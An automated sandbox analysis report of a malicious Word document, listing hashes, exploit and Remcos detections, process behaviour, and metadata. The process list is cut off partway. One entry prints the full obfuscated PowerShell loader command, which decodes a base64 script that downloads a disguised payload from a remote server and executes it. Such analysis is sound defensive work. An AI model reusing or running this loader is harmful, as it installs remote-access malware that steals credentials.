File name:

AW-04-07 (R1).docx

Full analysis: https://app.any.run/tasks/d74259bd-7ba9-4699-8611-78d351cfc20d
Verdict: Malicious activity
Threats:

A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection.

Analysis date: April 14, 2025, 12:24:40
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
generated-doc
webdav
cve-2017-11882
exploit
stegocampaign
cve-2017-0199
payload
ta558
apt
loader
reverseloader
rat
remcos
remote
stealer
mpress
Indicators:
MIME: application/vnd.openxmlformats-officedocument.wordprocessingml.document
File info: Microsoft Word 2007+
MD5:

F792D29879A3AC08E467759E13F477D8

SHA1:

259D637B95DA415C94A7B073932F9981102855DF

SHA256:

9F8CA780616FB218E38F1363ACA60907F7F6F803D160A358AAF80092B1C649F2

SSDEEP:

768:GE9eXRSgSvSGiQk2igW0PvAAAxsYz/KRfCUkKXKLHJbuyi49Ka0RIr+jBZag4Kk0:nH7aikT0bR9Gyyz9KnmQBZ/dkqnv

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • CVE-2017-0199 detected

      • WINWORD.EXE (PID: 2624)
    • EXPLOIT has been detected (SURICATA)

      • WINWORD.EXE (PID: 2624)
    • Equation Editor starts application (likely CVE-2017-11882)

      • EQNEDT32.EXE (PID: 2384)
    • STEGOCAMPAIGN has been detected

      • powershell.exe (PID: 1560)
    • STEGOCAMPAIGN has been detected (SURICATA)

      • powershell.exe (PID: 1560)
    • Downloads the requested resource (POWERSHELL)

      • powershell.exe (PID: 1560)
    • REMCOS has been detected

      • MSBuild.exe (PID: 3224)
    • REMCOS has been detected (SURICATA)

      • MSBuild.exe (PID: 3224)
    • REVERSELOADER has been detected (SURICATA)

      • powershell.exe (PID: 1560)
    • Dynamically loads an assembly (POWERSHELL)

      • powershell.exe (PID: 1560)
    • REMCOS mutex has been found

      • MSBuild.exe (PID: 3224)
    • Actions looks like stealing of personal data

      • MSBuild.exe (PID: 3180)
      • MSBuild.exe (PID: 3240)
      • MSBuild.exe (PID: 3804)
    • Steals credentials from Web Browsers

      • MSBuild.exe (PID: 3804)
    • REMCOS has been detected (YARA)

      • MSBuild.exe (PID: 3224)
    • Suspicious connection from the Equation Editor

      • EQNEDT32.EXE (PID: 2384)
  • SUSPICIOUS

    • Possibly malicious use of IEX has been detected

      • wscript.exe (PID: 704)
    • Abuses WebDav for code execution

      • svchost.exe (PID: 832)
    • Uses RUNDLL32.EXE to load library

      • svchost.exe (PID: 832)
    • Reads the Internet Settings

      • EQNEDT32.EXE (PID: 2384)
      • powershell.exe (PID: 1560)
      • MSBuild.exe (PID: 3224)
      • wscript.exe (PID: 704)
    • Reads security settings of Internet Explorer

      • EQNEDT32.EXE (PID: 2384)
      • MSBuild.exe (PID: 3224)
    • Connects to the server without a host name

      • WINWORD.EXE (PID: 2624)
      • powershell.exe (PID: 1560)
      • EQNEDT32.EXE (PID: 2384)
    • Starts POWERSHELL.EXE for commands execution

      • wscript.exe (PID: 704)
    • Runs shell command (SCRIPT)

      • wscript.exe (PID: 704)
    • Probably obfuscated PowerShell command line is found

      • wscript.exe (PID: 704)
    • Uses base64 encoding (POWERSHELL)

      • powershell.exe (PID: 1560)
    • Contacting a server suspected of hosting an Exploit Kit

      • powershell.exe (PID: 1560)
    • Contacting a server suspected of hosting an CnC

      • MSBuild.exe (PID: 3224)
    • Connects to unusual port

      • MSBuild.exe (PID: 3224)
    • Application launched itself

      • MSBuild.exe (PID: 3224)
    • Loads DLL from Mozilla Firefox

      • MSBuild.exe (PID: 3240)
    • Accesses Microsoft Outlook profiles

      • MSBuild.exe (PID: 3180)
    • There is functionality for taking screenshot (YARA)

      • MSBuild.exe (PID: 3224)
    • The process executes VB scripts

      • EQNEDT32.EXE (PID: 2384)
    • The process bypasses the loading of PowerShell profile settings

      • wscript.exe (PID: 704)
  • INFO

    • Checks supported languages

      • EQNEDT32.EXE (PID: 2384)
      • MSBuild.exe (PID: 3224)
      • MSBuild.exe (PID: 3240)
      • MSBuild.exe (PID: 3804)
      • MSBuild.exe (PID: 3180)
    • An automatically generated document

      • WINWORD.EXE (PID: 2624)
    • Reads the computer name

      • EQNEDT32.EXE (PID: 2384)
      • MSBuild.exe (PID: 3224)
      • MSBuild.exe (PID: 3180)
      • MSBuild.exe (PID: 3240)
      • MSBuild.exe (PID: 3804)
    • Reads the machine GUID from the registry

      • EQNEDT32.EXE (PID: 2384)
      • MSBuild.exe (PID: 3224)
      • MSBuild.exe (PID: 3240)
      • MSBuild.exe (PID: 3804)
    • Checks proxy server information

      • EQNEDT32.EXE (PID: 2384)
      • MSBuild.exe (PID: 3224)
    • Creates files or folders in the user directory

      • EQNEDT32.EXE (PID: 2384)
      • MSBuild.exe (PID: 3224)
    • Converts byte array into Unicode string (POWERSHELL)

      • powershell.exe (PID: 1560)
    • Uses string replace method (POWERSHELL)

      • powershell.exe (PID: 1560)
    • Disables trace logs

      • powershell.exe (PID: 1560)
    • Gets data length (POWERSHELL)

      • powershell.exe (PID: 1560)
    • Reads product name

      • MSBuild.exe (PID: 3224)
    • Reads Environment values

      • MSBuild.exe (PID: 3224)
    • Create files in a temporary directory

      • MSBuild.exe (PID: 3240)
      • MSBuild.exe (PID: 3180)
      • MSBuild.exe (PID: 3804)
    • Mpress packer has been detected

      • MSBuild.exe (PID: 3224)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.docx | Word Microsoft Office Open XML Format document (52.2)
.zip | Open Packaging Conventions container (38.8)
.zip | ZIP compressed archive (8.8)

EXIF

ZIP

ZipRequiredVersion: 20
ZipBitFlag: 0x0002
ZipCompression: Deflated
ZipModifyDate: 2025:04:14 05:12:44
ZipCRC: 0x8d4b0b97
ZipCompressedSize: 424
ZipUncompressedSize: 2461
ZipFileName: [Content_Types].xml

XML

Template: Normal.dotm
TotalEditTime: -
Pages: 1
Words: -
Characters: -
Application: Microsoft Office Word
DocSecurity: None
Lines: 1
Paragraphs: 1
ScaleCrop: No
Company: Grizli777
LinksUpToDate: No
CharactersWithSpaces: -
SharedDoc: No
HyperlinksChanged: No
AppVersion: 12
Keywords: -
LastModifiedBy: 91974
RevisionNumber: 2
CreateDate: 2025:04:13 23:41:00Z
ModifyDate: 2025:04:13 23:41:00Z

XMP

Title: -
Subject: -
Creator: 91974
Description: -
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
50
Monitored processes
10
Malicious processes
9
Suspicious processes
0

Behavior graph

Click at the process to see the details
start #EXPLOIT winword.exe eqnedt32.exe wscript.exe no specs #STEGOCAMPAIGN powershell.exe #REMCOS msbuild.exe svchost.exe msbuild.exe msbuild.exe msbuild.exe svchost.exe

Process information

PID
CMD
Path
Indicators
Parent process
704"C:\Windows\System32\WScript.exe" "C:\Users\admin\AppData\Roaming\greatstartcamewithbestthingswithgoodnewscreated.vbs" C:\Windows\System32\wscript.exeEQNEDT32.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft ® Windows Based Script Host
Exit code:
0
Version:
5.8.7600.16385
Modules
Images
c:\windows\system32\wscript.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
832C:\Windows\system32\svchost.exe -k LocalServiceC:\Windows\System32\svchost.exe
services.exe
User:
LOCAL SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Host Process for Windows Services
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\svchost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\ole32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
1080C:\Windows\system32\svchost.exe -k NetworkServiceC:\Windows\System32\svchost.exe
services.exe
User:
NETWORK SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Host Process for Windows Services
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\svchost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\ole32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
1560"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command "$Codigo = 'J@#@#@!Bw@#@#@!GE@#@#@!cgBv@#@#@!G4@#@#@!bwBt@#@#@!GE@#@#@!cwBp@#@#@!GE@#@#@!YwBz@#@#@!C@#@#@!@#@#@!PQ@#@#@!g@#@#@!Cc@#@#@!d@#@#@!B4@#@#@!HQ@#@#@!LgBk@#@#@!GU@#@#@!d@#@#@!Bh@#@#@!GU@#@#@!cgBj@#@#@!HM@#@#@!dwBl@#@#@!G4@#@#@!Z@#@#@!Bv@#@#@!G8@#@#@!ZwBo@#@#@!HQ@#@#@!aQB3@#@#@!HM@#@#@!ZwBu@#@#@!Gk@#@#@!a@#@#@!B0@#@#@!HQ@#@#@!cwBl@#@#@!GI@#@#@!a@#@#@!B0@#@#@!Gk@#@#@!dwBl@#@#@!G0@#@#@!YQBj@#@#@!HQ@#@#@!cgBh@#@#@!HQ@#@#@!cwB0@#@#@!GE@#@#@!ZQBy@#@#@!Gc@#@#@!LwBj@#@#@!HI@#@#@!d@#@#@!Bh@#@#@!G0@#@#@!LwBw@#@#@!H@#@#@!@#@#@!bQBh@#@#@!Hg@#@#@!Lw@#@#@!w@#@#@!Dc@#@#@!MQ@#@#@!u@#@#@!DI@#@#@!Mw@#@#@!y@#@#@!C4@#@#@!Mg@#@#@!w@#@#@!DI@#@#@!Lg@#@#@!z@#@#@!D@#@#@!@#@#@!Mg@#@#@!v@#@#@!C8@#@#@!OgBw@#@#@!HQ@#@#@!d@#@#@!Bo@#@#@!Cc@#@#@!Ow@#@#@!k@#@#@!GQ@#@#@!aQBj@#@#@!HQ@#@#@!eQBv@#@#@!G4@#@#@!ZQBt@#@#@!GE@#@#@!I@#@#@!@#@#@!9@#@#@!C@#@#@!@#@#@!J@#@#@!Bw@#@#@!GE@#@#@!cgBv@#@#@!G4@#@#@!bwBt@#@#@!GE@#@#@!cwBp@#@#@!GE@#@#@!YwBz@#@#@!C@#@#@!@#@#@!LQBy@#@#@!GU@#@#@!c@#@#@!Bs@#@#@!GE@#@#@!YwBl@#@#@!C@#@#@!@#@#@!Jw@#@#@!j@#@#@!Cc@#@#@!L@#@#@!@#@#@!g@#@#@!Cc@#@#@!d@#@#@!@#@#@!n@#@#@!Ds@#@#@!J@#@#@!BC@#@#@!GE@#@#@!b@#@#@!Bk@#@#@!GU@#@#@!cg@#@#@!g@#@#@!D0@#@#@!I@#@#@!@#@#@!n@#@#@!Gg@#@#@!d@#@#@!B0@#@#@!H@#@#@!@#@#@!Og@#@#@!v@#@#@!C8@#@#@!MQ@#@#@!w@#@#@!Dc@#@#@!Lg@#@#@!x@#@#@!Dc@#@#@!N@#@#@!@#@#@!u@#@#@!DI@#@#@!M@#@#@!@#@#@!y@#@#@!C4@#@#@!MQ@#@#@!z@#@#@!Dk@#@#@!LwBp@#@#@!G0@#@#@!Zw@#@#@!v@#@#@!G4@#@#@!ZQB3@#@#@!F8@#@#@!aQBt@#@#@!GE@#@#@!ZwBl@#@#@!C4@#@#@!agBw@#@#@!Gc@#@#@!Jw@#@#@!7@#@#@!CQ@#@#@!cgBl@#@#@!HQ@#@#@!cgBl@#@#@!GE@#@#@!Z@#@#@!Bl@#@#@!GQ@#@#@!I@#@#@!@#@#@!9@#@#@!C@#@#@!@#@#@!TgBl@#@#@!Hc@#@#@!LQBP@#@#@!GI@#@#@!agBl@#@#@!GM@#@#@!d@#@#@!@#@#@!g@#@#@!FM@#@#@!eQBz@#@#@!HQ@#@#@!ZQBt@#@#@!C4@#@#@!TgBl@#@#@!HQ@#@#@!LgBX@#@#@!GU@#@#@!YgBD@#@#@!Gw@#@#@!aQBl@#@#@!G4@#@#@!d@#@#@!@#@#@!7@#@#@!CQ@#@#@!cgBl@#@#@!HQ@#@#@!cgBl@#@#@!GE@#@#@!Z@#@#@!Bl@#@#@!GQ@#@#@!LgBI@#@#@!GU@#@#@!YQBk@#@#@!GU@#@#@!cgBz@#@#@!C4@#@#@!QQBk@#@#@!GQ@#@#@!K@#@#@!@#@#@!n@#@#@!FU@#@#@!cwBl@#@#@!HI@#@#@!LQBB@#@#@!Gc@#@#@!ZQBu@#@#@!HQ@#@#@!Jw@#@#@!s@#@#@!Cc@#@#@!TQBv@#@#@!Ho@#@#@!aQBs@#@#@!Gw@#@#@!YQ@#@#@!v@#@#@!DU@#@#@!Lg@#@#@!w@#@#@!Cc@#@#@!KQ@#@#@!7@#@#@!CQ@#@#@!YwBy@#@#@!G8@#@#@!d@#@#@!B5@#@#@!Gw@#@#@!YQB0@#@#@!Gk@#@#@!bwBu@#@#@!C@#@#@!@#@#@!PQ@#@#@!g@#@#@!CQ@#@#@!cgBl@#@#@!HQ@#@#@!cgBl@#@#@!GE@#@#@!Z@#@#@!Bl@#@#@!GQ@#@#@!LgBE@#@#@!G8@#@#@!dwBu@#@#@!Gw@#@#@!bwBh@#@#@!GQ@#@#@!R@#@#@!Bh@#@#@!HQ@#@#@!YQ@#@#@!o@#@#@!CQ@#@#@!QgBh@#@#@!Gw@#@#@!Z@#@#@!Bl@#@#@!HI@#@#@!KQ@#@#@!7@#@#@!CQ@#@#@!ZwBp@#@#@!Gw@#@#@!Z@#@#@!Bz@#@#@!C@#@#@!@#@#@!PQ@#@#@!g@#@#@!Fs@#@#@!UwB5@#@#@!HM@#@#@!d@#@#@!Bl@#@#@!G0@#@#@!LgBU@#@#@!GU@#@#@!e@#@#@!B0@#@#@!C4@#@#@!RQBu@#@#@!GM@#@#@!bwBk@#@#@!Gk@#@#@!bgBn@#@#@!F0@#@#@!Og@#@#@!6@#@#@!FU@#@#@!V@#@#@!BG@#@#@!Dg@#@#@!LgBH@#@#@!GU@#@#@!d@#@#@!BT@#@#@!HQ@#@#@!cgBp@#@#@!G4@#@#@!Zw@#@#@!o@#@#@!CQ@#@#@!YwBy@#@#@!G8@#@#@!d@#@#@!B5@#@#@!Gw@#@#@!YQB0@#@#@!Gk@#@#@!bwBu@#@#@!Ck@#@#@!Ow@#@#@!k@#@#@!Eg@#@#@!YQBj@#@#@!Gg@#@#@!aQBu@#@#@!G8@#@#@!a@#@#@!Bl@#@#@!C@#@#@!@#@#@!PQ@#@#@!g@#@#@!Cc@#@#@!P@#@#@!@#@#@!8@#@#@!EI@#@#@!QQBT@#@#@!EU@#@#@!Ng@#@#@!0@#@#@!F8@#@#@!UwBU@#@#@!EE@#@#@!UgBU@#@#@!D4@#@#@!Pg@#@#@!n@#@#@!Ds@#@#@!J@#@#@!Bl@#@#@!Gw@#@#@!ZQBj@#@#@!HQ@#@#@!cgBv@#@#@!Gw@#@#@!ZQBz@#@#@!HM@#@#@!I@#@#@!@#@#@!9@#@#@!C@#@#@!@#@#@!Jw@#@#@!8@#@#@!Dw@#@#@!QgBB@#@#@!FM@#@#@!RQ@#@#@!2@#@#@!DQ@#@#@!XwBF@#@#@!E4@#@#@!R@#@#@!@#@#@!+@#@#@!D4@#@#@!Jw@#@#@!7@#@#@!CQ@#@#@!cwBh@#@#@!HI@#@#@!YwBv@#@#@!Gk@#@#@!Z@#@#@!Bv@#@#@!HM@#@#@!ZQBz@#@#@!C@#@#@!@#@#@!PQ@#@#@!g@#@#@!CQ@#@#@!ZwBp@#@#@!Gw@#@#@!Z@#@#@!Bz@#@#@!C4@#@#@!SQBu@#@#@!GQ@#@#@!ZQB4@#@#@!E8@#@#@!Zg@#@#@!o@#@#@!CQ@#@#@!S@#@#@!Bh@#@#@!GM@#@#@!a@#@#@!Bp@#@#@!G4@#@#@!bwBo@#@#@!GU@#@#@!KQ@#@#@!7@#@#@!CQ@#@#@!d@#@#@!Bl@#@#@!GM@#@#@!a@#@#@!Bu@#@#@!Gk@#@#@!YwBv@#@#@!Gw@#@#@!bwBy@#@#@!C@#@#@!@#@#@!PQ@#@#@!g@#@#@!CQ@#@#@!ZwBp@#@#@!Gw@#@#@!Z@#@#@!Bz@#@#@!C4@#@#@!SQBu@#@#@!GQ@#@#@!ZQB4@#@#@!E8@#@#@!Zg@#@#@!o@#@#@!CQ@#@#@!ZQBs@#@#@!GU@#@#@!YwB0@#@#@!HI@#@#@!bwBs@#@#@!GU@#@#@!cwBz@#@#@!Ck@#@#@!Ow@#@#@!k@#@#@!HM@#@#@!YQBy@#@#@!GM@#@#@!bwBp@#@#@!GQ@#@#@!bwBz@#@#@!GU@#@#@!cw@#@#@!g@#@#@!C0@#@#@!ZwBl@#@#@!C@#@#@!@#@#@!M@#@#@!@#@#@!g@#@#@!C0@#@#@!YQBu@#@#@!GQ@#@#@!I@#@#@!@#@#@!k@#@#@!HQ@#@#@!ZQBj@#@#@!Gg@#@#@!bgBp@#@#@!GM@#@#@!bwBs@#@#@!G8@#@#@!cg@#@#@!g@#@#@!C0@#@#@!ZwB0@#@#@!C@#@#@!@#@#@!J@#@#@!Bz@#@#@!GE@#@#@!cgBj@#@#@!G8@#@#@!aQBk@#@#@!G8@#@#@!cwBl@#@#@!HM@#@#@!Ow@#@#@!k@#@#@!HM@#@#@!YQBy@#@#@!GM@#@#@!bwBp@#@#@!GQ@#@#@!bwBz@#@#@!GU@#@#@!cw@#@#@!g@#@#@!Cs@#@#@!PQ@#@#@!g@#@#@!CQ@#@#@!S@#@#@!Bh@#@#@!GM@#@#@!a@#@#@!Bp@#@#@!G4@#@#@!bwBo@#@#@!GU@#@#@!LgBM@#@#@!GU@#@#@!bgBn@#@#@!HQ@#@#@!a@#@#@!@#@#@!7@#@#@!CQ@#@#@!dQBu@#@#@!GQ@#@#@!ZQBy@#@#@!G0@#@#@!YQB0@#@#@!GM@#@#@!a@#@#@!@#@#@!g@#@#@!D0@#@#@!I@#@#@!@#@#@!k@#@#@!HQ@#@#@!ZQBj@#@#@!Gg@#@#@!bgBp@#@#@!GM@#@#@!bwBs@#@#@!G8@#@#@!cg@#@#@!g@#@#@!C0@#@#@!I@#@#@!@#@#@!k@#@#@!HM@#@#@!YQBy@#@#@!GM@#@#@!bwBp@#@#@!GQ@#@#@!bwBz@#@#@!GU@#@#@!cw@#@#@!7@#@#@!CQ@#@#@!bQBh@#@#@!HU@#@#@!cwBv@#@#@!Gw@#@#@!ZQB1@#@#@!G0@#@#@!I@#@#@!@#@#@!9@#@#@!C@#@#@!@#@#@!J@#@#@!Bn@#@#@!Gk@#@#@!b@#@#@!Bk@#@#@!HM@#@#@!LgBT@#@#@!HU@#@#@!YgBz@#@#@!HQ@#@#@!cgBp@#@#@!G4@#@#@!Zw@#@#@!o@#@#@!CQ@#@#@!cwBh@#@#@!HI@#@#@!YwBv@#@#@!Gk@#@#@!Z@#@#@!Bv@#@#@!HM@#@#@!ZQBz@#@#@!Cw@#@#@!I@#@#@!@#@#@!k@#@#@!HU@#@#@!bgBk@#@#@!GU@#@#@!cgBt@#@#@!GE@#@#@!d@#@#@!Bj@#@#@!Gg@#@#@!KQ@#@#@!7@#@#@!CQ@#@#@!YwBh@#@#@!HQ@#@#@!YwBo@#@#@!Hc@#@#@!YQB0@#@#@!GU@#@#@!cg@#@#@!g@#@#@!D0@#@#@!I@#@#@!Bb@#@#@!FM@#@#@!eQBz@#@#@!HQ@#@#@!ZQBt@#@#@!C4@#@#@!QwBv@#@#@!G4@#@#@!dgBl@#@#@!HI@#@#@!d@#@#@!Bd@#@#@!Do@#@#@!OgBG@#@#@!HI@#@#@!bwBt@#@#@!EI@#@#@!YQBz@#@#@!GU@#@#@!Ng@#@#@!0@#@#@!FM@#@#@!d@#@#@!By@#@#@!Gk@#@#@!bgBn@#@#@!Cg@#@#@!J@#@#@!Bt@#@#@!GE@#@#@!dQBz@#@#@!G8@#@#@!b@#@#@!Bl@#@#@!HU@#@#@!bQ@#@#@!p@#@#@!Ds@#@#@!J@#@#@!Bj@#@#@!G8@#@#@!bgBj@#@#@!G8@#@#@!bQBp@#@#@!HQ@#@#@!YQBu@#@#@!HQ@#@#@!I@#@#@!@#@#@!9@#@#@!C@#@#@!@#@#@!WwBT@#@#@!Hk@#@#@!cwB0@#@#@!GU@#@#@!bQ@#@#@!u@#@#@!FI@#@#@!ZQBm@#@#@!Gw@#@#@!ZQBj@#@#@!HQ@#@#@!aQBv@#@#@!G4@#@#@!LgBB@#@#@!HM@#@#@!cwBl@#@#@!G0@#@#@!YgBs@#@#@!Hk@#@#@!XQ@#@#@!6@#@#@!Do@#@#@!T@#@#@!Bv@#@#@!GE@#@#@!Z@#@#@!@#@#@!o@#@#@!CQ@#@#@!YwBh@#@#@!HQ@#@#@!YwBo@#@#@!Hc@#@#@!YQB0@#@#@!GU@#@#@!cg@#@#@!p@#@#@!Ds@#@#@!J@#@#@!Bp@#@#@!HQ@#@#@!d@#@#@!Bz@#@#@!GU@#@#@!b@#@#@!Bm@#@#@!C@#@#@!@#@#@!PQ@#@#@!g@#@#@!Fs@#@#@!Z@#@#@!Bu@#@#@!Gw@#@#@!aQBi@#@#@!C4@#@#@!SQBP@#@#@!C4@#@#@!S@#@#@!Bv@#@#@!G0@#@#@!ZQBd@#@#@!C4@#@#@!RwBl@#@#@!HQ@#@#@!TQBl@#@#@!HQ@#@#@!a@#@#@!Bv@#@#@!GQ@#@#@!K@#@#@!@#@#@!n@#@#@!FY@#@#@!QQBJ@#@#@!Cc@#@#@!KQ@#@#@!u@#@#@!Ek@#@#@!bgB2@#@#@!G8@#@#@!awBl@#@#@!Cg@#@#@!J@#@#@!Bu@#@#@!HU@#@#@!b@#@#@!Bs@#@#@!Cw@#@#@!I@#@#@!Bb@#@#@!G8@#@#@!YgBq@#@#@!GU@#@#@!YwB0@#@#@!Fs@#@#@!XQBd@#@#@!C@#@#@!@#@#@!Q@#@#@!@#@#@!o@#@#@!CQ@#@#@!Z@#@#@!Bp@#@#@!GM@#@#@!d@#@#@!B5@#@#@!G8@#@#@!bgBl@#@#@!G0@#@#@!YQ@#@#@!s@#@#@!Cc@#@#@!Jw@#@#@!s@#@#@!Cc@#@#@!Jw@#@#@!s@#@#@!Cc@#@#@!Jw@#@#@!s@#@#@!Cc@#@#@!TQBT@#@#@!EI@#@#@!dQBp@#@#@!Gw@#@#@!Z@#@#@!@#@#@!n@#@#@!Cw@#@#@!Jw@#@#@!n@#@#@!Cw@#@#@!Jw@#@#@!n@#@#@!Cw@#@#@!Jw@#@#@!n@#@#@!Cw@#@#@!Jw@#@#@!n@#@#@!Cw@#@#@!JwBD@#@#@!Do@#@#@!X@#@#@!BV@#@#@!HM@#@#@!ZQBy@#@#@!HM@#@#@!X@#@#@!BQ@#@#@!HU@#@#@!YgBs@#@#@!Gk@#@#@!YwBc@#@#@!EQ@#@#@!bwB3@#@#@!G4@#@#@!b@#@#@!Bv@#@#@!GE@#@#@!Z@#@#@!Bz@#@#@!Cc@#@#@!L@#@#@!@#@#@!n@#@#@!G8@#@#@!dgBv@#@#@!Gw@#@#@!bwBn@#@#@!Hk@#@#@!Jw@#@#@!s@#@#@!Cc@#@#@!dgBi@#@#@!HM@#@#@!Jw@#@#@!s@#@#@!Cc@#@#@!Jw@#@#@!s@#@#@!Cc@#@#@!Jw@#@#@!s@#@#@!Cc@#@#@!a@#@#@!B1@#@#@!G0@#@#@!aQBz@#@#@!HQ@#@#@!Jw@#@#@!s@#@#@!Cc@#@#@!Mg@#@#@!n@#@#@!Cw@#@#@!Jw@#@#@!n@#@#@!Ck@#@#@!KQ@#@#@!='; $OWjuxd = [System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($Codigo.Replace('@#@#@!','A'))); Invoke-Expression $OWjuxd"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
wscript.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.14409.1005 (rs1_srvoob.161208-1155)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
2384"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -EmbeddingC:\Program Files\Common Files\microsoft shared\EQUATION\EQNEDT32.EXE
svchost.exe
User:
admin
Company:
Design Science, Inc.
Integrity Level:
MEDIUM
Description:
Microsoft Equation Editor
Exit code:
0
Version:
00110900
Modules
Images
c:\program files\common files\microsoft shared\equation\eqnedt32.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
2624"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\Desktop\AW-04-07 (R1).docx"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Version:
14.0.6024.1000
Modules
Images
c:\program files\microsoft office\office14\winword.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\winsxs\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_50934f2ebcb7eb57\msvcr90.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.18837_none_ec86b8d6858ec0bc\comctl32.dll
3180C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe /stext "C:\Users\admin\AppData\Local\Temp\rpdxjfzpcogodsbkcmvdcxajeoglswxgul"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
MSBuild.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
MSBuild.exe
Exit code:
0
Version:
4.8.3761.0 built by: NET48REL1
Modules
Images
c:\windows\microsoft.net\framework\v4.0.30319\msbuild.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.18837_none_ec86b8d6858ec0bc\comctl32.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\gdi32.dll
3224"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
MSBuild.exe
Version:
4.8.3761.0 built by: NET48REL1
Modules
Images
c:\windows\microsoft.net\framework\v4.0.30319\msbuild.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
3240C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe /stext "C:\Users\admin\AppData\Local\Temp\bripjys"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
MSBuild.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
MSBuild.exe
Exit code:
0
Version:
4.8.3761.0 built by: NET48REL1
Modules
Images
c:\windows\microsoft.net\framework\v4.0.30319\msbuild.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.18837_none_ec86b8d6858ec0bc\comctl32.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\gdi32.dll
3804C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe /stext "C:\Users\admin\AppData\Local\Temp\ovxminpvogobbengkbjcrkfaviwczmy"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
MSBuild.exe
User:
admin
Company:
